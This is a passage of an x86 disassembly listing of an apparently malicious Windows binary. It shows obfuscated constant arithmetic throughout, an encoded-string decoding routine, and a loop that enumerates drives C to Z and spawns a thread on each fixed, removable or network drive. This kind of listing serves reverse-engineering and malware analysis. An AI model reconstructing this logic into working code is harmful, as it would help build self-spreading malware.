sub_43BDAA+CDj dec edi mov eax, dword_551178 add eax, 24h movsx edx, word_551140 add eax, edx cmp edi, eax jge short loc_43BEDF movsx eax, word_551214 movsx edx, word_551268 add eax, edx sub eax, 4 imul eax, edi mov edi, eax mov eax, dword_5510BC add eax, 4Bh add eax, dword_551124 sub edi, eax jmp short loc_43BF44 ; --------------------------------------------------------------------------- loc_43BEDF: ; CODE XREF: sub_43BDAA+109j dec edi mov eax, dword_551174 add eax, 32h movsx edx, word_55115C add eax, edx cmp edi, eax jge short loc_43BF0C mov eax, dword_5511B0 sub eax, 5 imul edi, eax mov eax, dword_551264 add eax, 67h sub edi, eax jmp short loc_43BF44 ; --------------------------------------------------------------------------- loc_43BF0C: ; CODE XREF: sub_43BDAA+149j dec edi mov eax, dword_55116C add eax, 30h cmp edi, eax jge short loc_43BF38 mov eax, dword_551230 add eax, dword_55126C sub eax, 0Bh imul edi, eax movsx eax, word_5511BC add eax, 6Bh sub edi, eax jmp short loc_43BF44 ; --------------------------------------------------------------------------- loc_43BF38: ; CODE XREF: sub_43BDAA+16Dj movsx eax, word_5510F0 add eax, 36h sub edi, eax loc_43BF44: ; CODE XREF: sub_43BDAA+52j ; sub_43BDAA+92j ... mov eax, edi pop edi pop esi retn sub_43BDAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43BF49 proc near ; DATA XREF: sub_441AE5+11Bo var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_FF = byte ptr -0FFh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 21Ch push ebx push esi push edi lea eax, [ebp+var_210] push eax push offset dword_44B0A0 call sub_43E369 add esp, 8 mov [ebp+var_208], eax mov ecx, dword_5511F4 sub ecx, 5 cmp eax, ecx jnz short loc_43BF83 xor eax, eax jmp loc_43C105 ; --------------------------------------------------------------------------- loc_43BF83: ; CODE XREF: sub_43BF49+31j mov eax, dword_551114 add eax, dword_551154 sub eax, 5 mov [ebp+var_204], eax loc_43BF97: ; CODE XREF: sub_43BF49+1A8j mov eax, [ebp+var_204] mov edx, [ebp+var_208] lea ecx, [edx+eax] or eax, 0FFFFFFFFh loc_43BFA9: ; CODE XREF: sub_43BF49+65j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43BFA9 mov [ebp+var_20C], eax cmp [ebp+var_20C], 0FFh jnb short loc_43BFDE mov eax, [ebp+var_204] add eax, 1 add eax, [ebp+var_208] push eax lea eax, [ebp+var_FF] push eax call sub_44799C loc_43BFDE: ; CODE XREF: sub_43BF49+77j movsx eax, word_5510F0 mov esi, eax add esi, dword_55118C sub esi, 3 jmp short loc_43C017 ; --------------------------------------------------------------------------- loc_43BFF2: ; CODE XREF: sub_43BF49+E0j cmp [ebp+esi+var_FF], 28h jnz short loc_43C004 mov [ebp+esi+var_FF], 2Bh loc_43C004: ; CODE XREF: sub_43BF49+B1j cmp [ebp+esi+var_FF], 29h jnz short loc_43C016 mov [ebp+esi+var_FF], 3Dh loc_43C016: ; CODE XREF: sub_43BF49+C3j inc esi loc_43C017: ; CODE XREF: sub_43BF49+A7j lea ecx, [ebp+var_FF] or eax, 0FFFFFFFFh loc_43C020: ; CODE XREF: sub_43BF49+DCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43C020 cmp esi, eax jb short loc_43BFF2 push 0FFh lea eax, [ebp+var_1FE] push eax lea eax, [ebp+var_FF] push eax call sub_4427A1 add esp, 0Ch mov ebx, eax mov edi, dword_551204 sub edi, 3 jmp short loc_43C081 ; --------------------------------------------------------------------------- loc_43C053: ; CODE XREF: sub_43BF49+13Aj movsx eax, [ebp+edi+var_1FE] mov [ebp+var_218], eax mov eax, edi mul edi mov [ebp+var_21C], eax mov eax, [ebp+var_218] mov edx, [ebp+var_21C] sub eax, edx mov [ebp+edi+var_1FE], al inc edi loc_43C081: ; CODE XREF: sub_43BF49+108j cmp edi, ebx jb short loc_43C053 mov eax, dword_5510D0 sub eax, 3 push eax push [ebp+arg_0] lea eax, [ebp+var_1FE] push eax call sub_442127 add esp, 0Ch mov [ebp+var_214], eax mov eax, dword_5511F4 add eax, 0FFFAh cmp [ebp+var_214], eax jz short loc_43C0C9 push [ebp+var_208] call ds:dword_44B5CC xor eax, eax inc eax jmp short loc_43C105 ; --------------------------------------------------------------------------- loc_43C0C9: ; CODE XREF: sub_43BF49+16Dj mov eax, [ebp+var_20C] add [ebp+var_204], eax movsx eax, word_551268 add eax, 2 add [ebp+var_204], eax mov eax, [ebp+var_210] cmp [ebp+var_204], eax jb loc_43BF97 push [ebp+var_208] call ds:dword_44B5CC xor eax, eax loc_43C105: ; CODE XREF: sub_43BF49+35j ; sub_43BF49+17Ej pop edi pop esi pop ebx leave retn sub_43BF49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C10A proc near ; CODE XREF: sub_441AE5+210p ; sub_442CE5+26p ... var_120A = byte ptr -120Ah var_110B = byte ptr -110Bh var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 120Ch call sub_44797C push ebx push esi push edi push offset dword_5524F0 call sub_43AC94 push eax lea edi, [ebp+var_FFF] push edi call ds:dword_50EA28 add esp, 0Ch mov eax, dword_5510A8 movsx edx, word_55115C mov esi, eax add esi, edx sub esi, 0Bh jmp short loc_43C164 ; --------------------------------------------------------------------------- loc_43C14A: ; CODE XREF: sub_43C10A+60j cmp [ebp+esi+var_FFF], 23h jnz short loc_43C163 mov eax, dword_551178 sub eax, 3 mov [ebp+esi+var_FFF], al loc_43C163: ; CODE XREF: sub_43C10A+48j inc esi loc_43C164: ; CODE XREF: sub_43C10A+3Ej cmp esi, 0FFFh jb short loc_43C14A mov eax, dword_551264 mov ebx, eax add ebx, dword_5511E4 sub ebx, 8 movsx eax, word_551228 sub eax, 6 mov [ebp+var_1004], eax mov eax, dword_5510B8 movsx edx, word_551210 add eax, edx sub eax, 0Bh cmp [ebp+arg_0], eax jnz short loc_43C203 loc_43C1A2: ; CODE XREF: sub_43C10A+F7j mov eax, [ebp+arg_4] cmp [ebp+var_1004], eax jnz short loc_43C1C4 lea eax, [ebp+ebx+var_FFF] push eax push offset dword_54EA70 call sub_44799C jmp loc_43C463 ; --------------------------------------------------------------------------- loc_43C1C4: ; CODE XREF: sub_43C10A+A1j lea ecx, [ebp+ebx+var_FFF] or eax, 0FFFFFFFFh loc_43C1CE: ; CODE XREF: sub_43C10A+C9j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43C1CE add ebx, eax inc [ebp+var_1004] add ebx, 1 mov eax, dword_551248 movsx edx, word_55123C add eax, edx sub eax, 7 movsx edx, [ebp+ebx+var_FFF] cmp eax, edx jz loc_43C463 jmp short loc_43C1A2 ; --------------------------------------------------------------------------- loc_43C203: ; CODE XREF: sub_43C10A+96j mov eax, dword_5510DC add eax, dword_5510F4 sub eax, 9 mov [ebp+var_1004], eax mov eax, dword_5510A4 movsx edx, word_55115C add eax, edx sub eax, 0Ch mov edx, [ebp+arg_0] movsx ecx, word_55120C add ecx, dword_5511C0 mov [edx+eax], cl mov eax, dword_5512B8 mov [ebp+var_1008], eax mov ebx, dword_551258 dec ebx loc_43C24D: ; CODE XREF: sub_43C10A+331j push offset byte_5524E5 call sub_43AC94 push eax lea edi, [ebp+var_110B] push edi call sub_44799C lea eax, [ebp+ebx+var_FFF] push eax lea eax, [ebp+var_110B] push eax call ds:dword_44802C add esp, 0Ch call ds:dword_550150 mov ecx, 14h cdq idiv ecx mov [ebp+var_100C], edx movsx eax, word_55112C sub eax, 3 cmp edx, eax jnb loc_43C37E push [ebp+var_1008] lea eax, [ebp+var_120A] push eax call sub_443F7C mov eax, dword_5511C0 add eax, dword_55125C sub eax, 4 push eax lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call sub_442127 add esp, 14h mov edi, dword_5510E0 add edi, 0FFFEh cmp eax, edi jnz short loc_43C30C lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call ds:dword_44802C push offset dword_5524E0 call sub_43AC94 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 14h loc_43C30C: ; CODE XREF: sub_43C10A+1D9j mov eax, dword_551148 add eax, dword_551114 sub eax, 8 push eax lea eax, [ebp+var_120A] push eax push [ebp+arg_0] call sub_442127 add esp, 0Ch mov edi, dword_55119C add edi, 0FFF8h cmp edi, eax jnz short loc_43C378 push offset byte_5524D5 call sub_43AC94 push eax push [ebp+arg_0] call ds:dword_44802C lea eax, [ebp+var_120A] push eax push [ebp+arg_0] call ds:dword_44802C push offset dword_5524D0 call sub_43AC94 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 20h loc_43C378: ; CODE XREF: sub_43C10A+231j inc [ebp+var_1008] loc_43C37E: ; CODE XREF: sub_43C10A+192j push [ebp+var_1004] call sub_43BDAA pop ecx mov [ebp+var_100C], eax mov eax, dword_551148 movsx edx, word_551140 add eax, edx sub eax, 0Ah cmp [ebp+var_100C], eax jnb short loc_43C40C movsx eax, word_5511C4 movsx edx, word_55115C add eax, edx sub eax, 9 push eax lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call sub_442127 add esp, 0Ch mov edi, dword_551160 add edi, 0FFF9h add edi, dword_551258 cmp edi, eax jnz short loc_43C40C lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call ds:dword_44802C push offset byte_5524CB call sub_43AC94 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 14h loc_43C40C: ; CODE XREF: sub_43C10A+29Dj ; sub_43C10A+2D9j lea ecx, [ebp+ebx+var_FFF] or eax, 0FFFFFFFFh loc_43C416: ; CODE XREF: sub_43C10A+311j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43C416 add ebx, eax add ebx, 1 inc [ebp+var_1004] movsx eax, [ebp+ebx+var_FFF] mov edx, dword_5510B8 sub edx, 8 cmp eax, edx jnz loc_43C24D mov eax, [ebp+var_1008] mov dword_5512B8, eax push offset word_5524C6 call sub_43AC94 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 0Ch loc_43C463: ; CODE XREF: sub_43C10A+B5j ; sub_43C10A+F1j pop edi pop esi pop ebx leave retn sub_43C10A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C468 proc near ; CODE XREF: sub_43A324+1A4p ; sub_43A324+222p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov esi, dword_551264 sub esi, 3 lea eax, [ebp+var_4] push eax push offset dword_552A14 mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr ds:0[ebx] mov edi, eax mov eax, dword_551130 add eax, dword_5510DC sub eax, 0Ah cmp edi, eax jz short loc_43C4A7 xor eax, eax jmp short loc_43C501 ; --------------------------------------------------------------------------- loc_43C4A7: ; CODE XREF: sub_43C468+39j lea eax, [ebp+var_8] push eax push [ebp+arg_8] mov eax, [ebp+var_4] push eax mov ebx, [eax] call dword ptr [ebx+10h] mov edi, eax mov eax, dword_551108 sub eax, 2 cmp eax, edi jnz short loc_43C4F6 push [ebp+arg_C] push [ebp+arg_4] mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+14h] mov edi, eax movsx eax, word_5511C8 sub eax, 7 cmp edi, eax jnz short loc_43C4ED mov esi, dword_55109C sub esi, 6 loc_43C4ED: ; CODE XREF: sub_43C468+7Aj mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43C4F6: ; CODE XREF: sub_43C468+5Bj mov eax, [ebp+var_4] push eax mov ebx, [eax] call dword ptr [ebx+8] mov eax, esi loc_43C501: ; CODE XREF: sub_43C468+3Dj pop edi pop esi pop ebx leave retn sub_43C468 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C506 proc near ; CODE XREF: sub_43B946+2E0p ; sub_44757D+178p var_344 = dword ptr -344h var_340 = dword ptr -340h var_33C = dword ptr -33Ch var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_316 = byte ptr -316h var_212 = byte ptr -212h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 344h push ebx push esi push edi push [ebp+arg_4] call ds:dword_50EA24 pop ecx push [ebp+arg_0] lea eax, [ebp+var_316] push eax call sub_44799C lea ecx, [ebp+var_316] or eax, 0FFFFFFFFh loc_43C534: ; CODE XREF: sub_43C506+33j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43C534 mov edx, dword_551248 sub edx, 3 mov ebx, eax sub ebx, edx mov edx, dword_5510C8 mov [ebp+ebx+var_316], dl movsx eax, word_551110 mov edi, eax add edi, dword_5511B4 sub edi, 2 loc_43C567: ; CODE XREF: sub_43C506+19Fj movsx eax, word_5511BC mov [ebp+var_320], eax mov edx, eax add edx, dword_551098 sub edx, 6 mov [ebp+var_328], edx mov eax, edi mov [ebp+var_324], eax mov ecx, dword_5510A8 add ecx, dword_55119C sub ecx, 0Dh mul ecx mov [ebp+var_32C], eax mov eax, [ebp+var_328] mov edx, [ebp+var_32C] add eax, edx mov edx, dword_55122C mov ecx, [ebp+var_320] add edx, ecx sub edx, 6 mov [ebp+eax+var_212], dl mov eax, edi mov ecx, dword_551244 sub ecx, 5 mul ecx mov [ebp+var_330], eax movsx eax, [ebp+edi+var_316] mov edx, [ebp+var_330] mov [ebp+edx+var_212], al movsx eax, [ebp+edi+var_316] mov edx, dword_55113C add edx, dword_55117C sub edx, 0Eh cmp eax, edx jnz loc_43C6A4 mov eax, dword_5510F8 mov [ebp+var_334], eax movsx edx, word_5511C8 sub edx, 4 mov [ebp+var_33C], edx mov eax, edi mov [ebp+var_338], eax mov ecx, dword_551128 sub ecx, 5 mul ecx mov [ebp+var_340], eax mov eax, [ebp+var_33C] mov edx, [ebp+var_340] add eax, edx mov edx, [ebp+var_334] mov ecx, edx add edx, edx sub edx, 8 mov [ebp+eax+var_212], dl mov eax, edi mov ecx, dword_551164 add ecx, 2 mul ecx mov [ebp+var_344], eax mov eax, dword_55110C sub eax, 7 mov edx, [ebp+var_344] add edx, eax mov eax, dword_551218 movsx ecx, word_5510A0 add eax, ecx sub eax, 8 mov [ebp+edx+var_212], al jmp short loc_43C6AA ; --------------------------------------------------------------------------- loc_43C6A4: ; CODE XREF: sub_43C506+105j inc edi jmp loc_43C567 ; --------------------------------------------------------------------------- loc_43C6AA: ; CODE XREF: sub_43C506+19Cj mov eax, dword_5511F4 add eax, dword_5511F8 sub eax, 0Ch cmp dword_551294, eax jz short loc_43C72C lea eax, [ebp+var_212] push eax mov eax, dword_5511F8 add eax, dword_55116C sub eax, 10h push eax call ds:dword_44B5B4 mov esi, eax mov eax, dword_551248 movsx edx, word_551170 add eax, edx sub eax, 5 cmp esi, eax jz short loc_43C72C movsx eax, word_551260 sub eax, 9 cmp dword_551298, eax jz short loc_43C74D mov eax, dword_55118C inc eax neg eax push eax lea eax, [ebp+var_212] push eax movsx eax, word_551214 add eax, dword_551118 sub eax, 0Ch push eax call ds:dword_448024 loc_43C72C: ; CODE XREF: sub_43C506+1B8j ; sub_43C506+1EBj push ds:dword_44B5C4 push ds:dword_4CEA00 lea eax, [ebp+var_316] push eax call sub_440485 add esp, 0Ch mov [ebp+var_31C], eax loc_43C74D: ; CODE XREF: sub_43C506+1FDj pop edi pop esi pop ebx leave retn sub_43C506 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C752 proc near ; CODE XREF: sub_4461CC+20Dp var_30037 = byte ptr -30037h var_20038 = dword ptr -20038h var_20034 = dword ptr -20034h var_20030 = dword ptr -20030h var_2002C = dword ptr -2002Ch var_20028 = dword ptr -20028h var_20024 = dword ptr -20024h var_20020 = byte ptr -20020h var_2001C = dword ptr -2001Ch var_20018 = dword ptr -20018h var_20014 = dword ptr -20014h var_20010 = dword ptr -20010h var_2000C = dword ptr -2000Ch var_20008 = dword ptr -20008h var_20004 = dword ptr -20004h var_1FFFE = byte ptr -1FFFEh var_10007 = byte ptr -10007h var_10006 = byte ptr -10006h var_10003 = byte ptr -10003h var_FFFF = byte ptr -0FFFFh arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_24 = dword ptr 2Ch push ebp mov ebp, esp mov eax, 30038h call sub_44797C push ebx push esi push edi lea eax, [ebp+var_20018] push eax mov eax, dword_551270 sub eax, 5 push eax lea eax, [ebp+arg_14] push eax lea eax, [ebp+arg_4] push eax movsx eax, word_55123C sub eax, 3 push eax mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr [ebx+54h] mov edi, eax mov eax, dword_551090 dec eax cmp eax, edi jnz loc_43CB50 loc_43C79E: ; CODE XREF: sub_43C752+3E4j movsx eax, word_5510CC add eax, dword_5511B8 sub eax, 0Ch push eax lea eax, [ebp+var_20024] push eax mov eax, dword_55109C add eax, dword_55110C sub eax, 0Fh push eax mov eax, [ebp+var_20018] push eax mov ebx, [eax] call dword ptr [ebx+0Ch] mov edi, eax mov eax, dword_5510C0 movsx edx, word_5511BC add eax, edx sub eax, 6 cmp edi, eax jnz loc_43CB3B mov esi, dword_55116C sub esi, 9 lea eax, [ebp+var_1FFFE] push eax push [ebp+var_20024] call sub_44582B add esp, 8 and [ebp+var_20014], 0 mov eax, dword_5511E0 sub eax, 9 mov [ebp+var_20028], eax mov [ebp+var_20010], 10h mov eax, dword_551114 sub eax, 2 mov [ebp+var_20004], eax mov eax, dword_5510B4 sub eax, 4 mov [ebp+var_20008], eax mov [ebp+var_2000C], 2 mov eax, dword_5510E8 add eax, dword_55121C sub eax, 7 push eax lea eax, [ebp+var_20010] push eax lea eax, [ebp+var_20014] push eax lea eax, [ebp+var_20028] push eax push [ebp+var_20024] lea eax, [ebp+arg_14] push eax lea eax, [ebp+arg_4] push eax movsx eax, word_5510EC push eax mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr [ebx+44h] mov edi, eax mov eax, dword_551128 sub eax, 7 cmp eax, edi jnz loc_43C9DE mov eax, dword_551150 movsx edx, word_551274 mov esi, eax add esi, edx sub esi, 4 movsx eax, word_5511AC movsx edx, word_5510EC add eax, edx cmp byte ptr [ebp+eax+var_20004], 44h jnz short loc_43C902 mov eax, dword_5511DC cmp byte ptr [ebp+eax+var_20004+1], 49h jnz short loc_43C902 movsx eax, word_551210 cmp [ebp+eax+var_1FFFE], 50h jnz short loc_43C902 movsx eax, word_5511BC cmp byte ptr [ebp+eax+var_20004+2], 50h jz short loc_43C907 loc_43C902: ; CODE XREF: sub_43C752+17Dj ; sub_43C752+18Cj ... jmp loc_43C9DE ; --------------------------------------------------------------------------- loc_43C907: ; CODE XREF: sub_43C752+1AEj mov eax, [ebp+var_20028] mov [ebp+var_20030], eax mov eax, [ebp+var_20014] mov [ebp+var_2002C], eax lea eax, [ebp+var_20020] push eax movsx eax, word_551214 mov edx, dword_5510C0 add edx, eax sub edx, 4 push edx movsx edx, word_551140 add edx, eax mov eax, edx sub eax, 8 push eax movsx eax, word_5511CC sub eax, 6 push eax mov eax, dword_551164 movsx edx, word_5510D8 add eax, edx sub eax, 9 push eax movsx eax, word_5511EC sub eax, 3 push eax lea eax, [ebp+var_20030] push eax call ds:dword_448028 mov [ebp+var_20034], eax mov ecx, dword_551270 add ecx, dword_551130 sub ecx, 8 cmp ecx, eax jnz short loc_43C9AB mov eax, dword_55114C movsx edx, word_551240 mov esi, eax add esi, edx sub esi, 7 jmp short loc_43C9DE ; --------------------------------------------------------------------------- loc_43C9AB: ; CODE XREF: sub_43C752+242j mov esi, dword_551164 add esi, 2 lea eax, [ebp+var_30037] push eax push [ebp+var_2001C] call sub_44582B add esp, 8 cmp [ebp+var_2001C], 0 jz short loc_43C9DE push [ebp+var_2001C] call ds:dword_44B5CC loc_43C9DE: ; CODE XREF: sub_43C752+14Cj ; sub_43C752:loc_43C902j ... movsx eax, word_551260 mov [ebp+eax+var_10007], 7Ch mov eax, dword_5511F0 movsx edx, word_551120 sub edx, 3 mov [ebp+eax+var_10006], dl movsx eax, word_551234 mov [ebp+eax+var_10003], 50h push [ebp+arg_24] lea eax, [ebp+var_FFFF] push eax call ds:dword_44802C push offset byte_5524C1 call sub_43AC94 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44802C push offset dword_5524A4 call sub_43AC94 movsx ebx, word_551260 mov edx, ebx add edx, ebx mov ebx, edx sub ebx, 11h push ebx push eax push [ebp+arg_24] call sub_442127 add esp, 24h mov edx, dword_5510DC add edx, 0FFF8h add edx, dword_5510C8 cmp eax, edx jz short loc_43CA8F lea eax, [ebp+var_1FFFE] push eax lea eax, [ebp+var_FFFF] push eax call sub_447336 add esp, 8 jmp short loc_43CABE ; --------------------------------------------------------------------------- loc_43CA8F: ; CODE XREF: sub_43C752+323j lea eax, [ebp+var_1FFFE] push eax lea eax, [ebp+var_FFFF] push eax call ds:dword_44802C push offset byte_55249F call sub_43AC94 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44802C add esp, 14h loc_43CABE: ; CODE XREF: sub_43C752+33Bj cmp dword_551090, esi jnz short loc_43CAD4 mov eax, [ebp+var_20014] mov [ebp+var_20038], eax jmp short loc_43CAE0 ; --------------------------------------------------------------------------- loc_43CAD4: ; CODE XREF: sub_43C752+372j lea eax, [ebp+var_30037] mov [ebp+var_20038], eax loc_43CAE0: ; CODE XREF: sub_43C752+380j push [ebp+var_20038] lea eax, [ebp+var_FFFF] push eax call ds:dword_44802C push offset byte_5524C1 call sub_43AC94 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44802C add esp, 14h mov eax, dword_551218 dec eax cmp [ebp+var_20014], eax jz short loc_43CB28 push [ebp+var_20014] call ds:dword_48C1EC loc_43CB28: ; CODE XREF: sub_43C752+3C8j lea eax, [ebp+var_FFFF] push eax call ds:dword_48C1E0 pop ecx jmp loc_43C79E ; --------------------------------------------------------------------------- loc_43CB3B: ; CODE XREF: sub_43C752+94j cmp [ebp+var_20018], 0 jz short loc_43CB50 mov eax, [ebp+var_20018] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43CB50: ; CODE XREF: sub_43C752+46j ; sub_43C752+3F0j pop edi pop esi pop ebx leave retn sub_43C752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_43CB55 proc near ; DATA XREF: sub_43E491:loc_43E834o var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov esi, 43h jmp short loc_43CB7D ; --------------------------------------------------------------------------- loc_43CB65: ; CODE XREF: sub_43CB55+2Bj movsx ebx, word_5510AC add ebx, dword_551114 sub ebx, 9 mov ds:dword_54FC20[esi*4], ebx inc esi loc_43CB7D: ; CODE XREF: sub_43CB55+Ej cmp esi, 5Ah jbe short loc_43CB65 loc_43CB82: ; CODE XREF: sub_43CB55+1D6j mov edi, 43h jmp loc_43CD12 ; --------------------------------------------------------------------------- loc_43CB8C: ; CODE XREF: sub_43CB55+1C0j push offset byte_552497 call sub_43AC94 push edi push eax lea ebx, [ebp+var_E] push ebx call ds:dword_50EA28 mov eax, dword_5511D4 add eax, dword_5510C4 sub eax, 12h push eax call ds:dword_50EA24 add esp, 14h mov ebx, ds:dword_54FC20[edi*4] cmp dword_5510C8, ebx jz short loc_43CC19 movsx eax, word_5510EC add eax, dword_551130 sub eax, 3 mov [ebp+var_14], eax lea eax, [ebp+var_14] push eax push ds:dword_54FC20[edi*4] call ds:dword_54EA4C cmp [ebp+var_14], 103h jz short loc_43CC19 push ds:dword_54FC20[edi*4] call ds:dword_4CDA48 mov ebx, dword_551204 add ebx, dword_551230 sub ebx, 8 mov ds:dword_54FC20[edi*4], ebx loc_43CC19: ; CODE XREF: sub_43CB55+72j ; sub_43CB55+9Fj lea eax, [ebp+var_E] push eax call ds:dword_54EA64 mov [ebp+var_4], eax cmp eax, 4 jz short loc_43CC6D cmp eax, 3 jz short loc_43CC6D cmp eax, 2 jz short loc_43CC6D movsx ebx, word_5511CC add ebx, dword_5510C8 sub ebx, 6 cmp ds:dword_54FC20[edi*4], ebx jz loc_43CD11 mov ebx, dword_551184 add ebx, dword_5511E0 sub ebx, 11h mov ds:dword_44B5E0[edi*4], ebx jmp loc_43CD11 ; --------------------------------------------------------------------------- loc_43CC6D: ; CODE XREF: sub_43CB55+D4j ; sub_43CB55+D9j ... push 1 call ds:dword_449FC0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_E] push eax call ds:dword_44B088 movsx ebx, word_551168 sub ebx, 4 cmp ebx, eax jnz short loc_43CCB9 cmp ds:dword_54FC20[edi*4], 0 jz short loc_43CD11 mov ebx, dword_551124 sub ebx, 9 mov ds:dword_44B5E0[edi*4], ebx jmp short loc_43CD11 ; --------------------------------------------------------------------------- loc_43CCB9: ; CODE XREF: sub_43CB55+146j mov ebx, dword_551270 sub ebx, 5 cmp ds:dword_54FC20[edi*4], ebx jnz short loc_43CD11 mov ds:dword_44B5E0[edi*4], edi lea eax, [ebp+var_28] push eax movsx eax, word_5511C4 add eax, dword_55109C sub eax, 0Eh push eax lea ebx, ds:44B5E0h[edi*4] push ebx push offset sub_442C83 mov ebx, dword_5510FC sub ebx, 2 push ebx push dword_55118C call ds:dword_550020 mov ds:dword_54FC20[edi*4], eax loc_43CD11: ; CODE XREF: sub_43CB55+F7j ; sub_43CB55+113j ... inc edi loc_43CD12: ; CODE XREF: sub_43CB55+32j cmp edi, 5Ah jbe loc_43CB8C mov eax, dword_55109C sub eax, 7 push eax call ds:dword_50EA24 pop ecx jmp loc_43CB82 sub_43CB55 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CD37 proc near ; CODE XREF: sub_44300F+C41p var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C6 = byte ptr -2C6h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = dword ptr -2A8h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_253 = byte ptr -253h var_154 = byte ptr -154h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_102 = word ptr -102h var_FF = byte ptr -0FFh var_FB = byte ptr -0FBh var_F9 = byte ptr -0F9h var_F6 = byte ptr -0F6h var_F4 = byte ptr -0F4h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 324h push ebx push esi push edi cmp [ebp+arg_4], 0 jz loc_43DF16 mov eax, [ebp+arg_0] mov edx, dword_551164 cmp byte ptr [eax+edx], 34h jz short loc_43CD6F mov edx, dword_551190 sub edx, 6 cmp byte ptr [eax+edx], 35h jnz loc_43DF16 loc_43CD6F: ; CODE XREF: sub_43CD37+23j mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_43CD77: ; CODE XREF: sub_43CD37+45j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43CD77 mov [ebp+var_128], eax mov edx, dword_551238 add edx, 1 add edx, dword_5511E0 cmp eax, edx jz short loc_43CDA8 mov edx, dword_5510C0 add edx, 0Fh cmp eax, edx jnz loc_43DF16 loc_43CDA8: ; CODE XREF: sub_43CD37+5Ej mov ebx, dword_551098 sub 